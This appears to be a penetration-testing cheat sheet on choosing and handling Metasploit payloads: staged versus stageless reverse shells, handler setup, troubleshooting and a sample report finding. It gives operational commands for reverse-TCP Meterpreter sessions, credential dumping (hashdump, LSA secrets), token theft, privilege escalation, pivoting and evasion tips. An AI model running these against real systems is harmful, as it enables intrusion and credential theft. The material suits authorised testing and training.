🛡️ Methodology Checklist

  • List payloads for target arch/OS: msfvenom --list payloads | grep [OS]
  • Staged vs stageless: staged (/tcp) requires listener; stageless (/tcp_shell) is self-contained
  • Choose payload: windows/x64/meterpreter/reverse_tcp for modern Windows
  • Set LHOST/LPORT to match handler
  • Start handler: use exploit/multi/handler → set payload, LHOST, LPORT → run -j
  • Deliver payload and wait for callback
  • Verify session established before proceeding

🎯 Operational Context

Use when: Selecting the right MSF payload type before generating or deploying — understand staged vs stageless, singles, and platform differences. Think Dumber First: Staged = smaller initial shellcode + stage 2 download (needs reliable network). Stageless = self-contained but larger. For unstable networks or restricted egress, always use stageless. Port 443 always preferred over 4444. Skip when: Non-MSF delivery required — use msfvenom standalone instead of MSF handler.


⚡ Tactical Cheatsheet

CommandTactical Outcome
grep meterpreter grep reverse_tcp show payloadsFilter payloads by chained grep
set payload windows/x64/meterpreter/reverse_tcpSet staged Meterpreter payload
set payload windows/x64/shell_reverse_tcpSet stageless CMD shell payload
set payload 15Set payload by index number
show payloadsList all payloads compatible with current module
set LHOST tun0Set local host (always use tun0 on VPN)
set LPORT 4444Set local listener port
ifconfigCheck your IP inside msfconsole
runExecute exploit with selected payload
getuidMeterpreter: show current user (equiv to whoami)
sysinfoMeterpreter: system details (OS, arch)
hashdumpMeterpreter: dump SAM database NTLM hashes
backgroundBackground active Meterpreter session
shellDrop from Meterpreter into system CMD/Bash

🔬 Deep Dive & Workflow

Singles vs Staged — The Critical Distinction

Singles (Inline)Staged (Stager + Stage)
NamingUnderscores: shell_reverse_tcpSlashes: shell/reverse_tcp
DeliveryExploit + shellcode in one packetTiny stager, then downloads stage
SizeLargerCompact stager
StabilityMore stable (no second network step)Needs stable connection for stage download
Examplewindows/x64/shell_reverse_tcpwindows/x64/shell/reverse_tcp
AVEntire payload hits disk at onceStage downloads into memory

Read the naming: windows/x64/meterpreter/reverse_tcp = “download Meterpreter stage via reverse_tcp” (staged). windows/x64/meterpreter_reverse_tcp = all-in-one (stageless).

Meterpreter — What Makes It Different

  • In-memory DLL injection — no binary written to disk
  • AES-encrypted channel — hides traffic content from network IDS
  • Extensible — loads extensions (Mimikatz, incognito) over the wire at runtime
  • Unix-style navigation on Windows (ls, cd, pwd)
  • Persistence — harder to detect than CMD shell

Key Meterpreter commands:

getuid          → whoami equivalent
sysinfo         → OS, hostname, arch
hashdump        → dump SAM hashes (needs SYSTEM)
lsa_dump_secrets → dump LSA secrets and cached creds
migrate <PID>   → move to another process (stability/stealth)
steal_token <PID> → impersonate another process's token
getsystem       → auto-escalate to SYSTEM
upload / download → file transfer
portfwd / route → pivoting

Common Windows Payload Reference

PayloadTypeUse Case
windows/x64/shell_reverse_tcpSingleQuiet, no Meterpreter needed
windows/x64/shell/reverse_tcpStagedWhen buffer space is limited
windows/x64/meterpreter/reverse_tcpStagedFull post-ex capability
windows/x64/execSingleRun one command
windows/x64/vncinject/reverse_tcpStagedGUI remote desktop

LHOST Trap — Most Common Failure

If LHOST is set to your LAN IP instead of the VPN IP (tun0), the staged payload’s stager will run but the stage download will fail — you get a hanging session with no Meterpreter.

# Always verify
ifconfig
set LHOST tun0   # not 192.168.x.x

Architecture Mismatch

x64 payload on x86 target → process crash. Always confirm arch from nmap scan (OS CPE) before selecting payload.


🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
Payload fails silentlyStage 2 download blocked by firewallSwitch to stageless: change meterpreter/reverse_tcp to meterpreter_reverse_tcp
Wrong architecture payload sentAuto-select chose x86 on x64 targetExplicitly set PAYLOAD to windows/x64/... after checking systeminfo
Handler shows connection but no sessionStage 2 rejectedConfirm handler PAYLOAD matches what was generated; both must be identical
Payload exits after short timeSession timeoutSet set SessionExpirationTimeout 0 in handler before exploit
Multi/handler not catching connectionWrong LHOSTSet LHOST to VPN interface IP (tun0/ppp0) not LAN IP: ip addr show tun0

📝 Reporting Trigger

Finding Title: MSF Staged/Stageless Payload Achieves Remote Session Impact: Correct payload selection based on network conditions ensures reliable session establishment, providing post-exploitation capability including lateral movement and credential access. Root Cause: Vulnerable service running with insufficient network egress restrictions. No payload delivery detection at network or endpoint layer. Recommendation: Implement egress filtering to block outbound connections on non-business ports. Deploy EDR with shellcode execution detection. Patch vulnerable service immediately.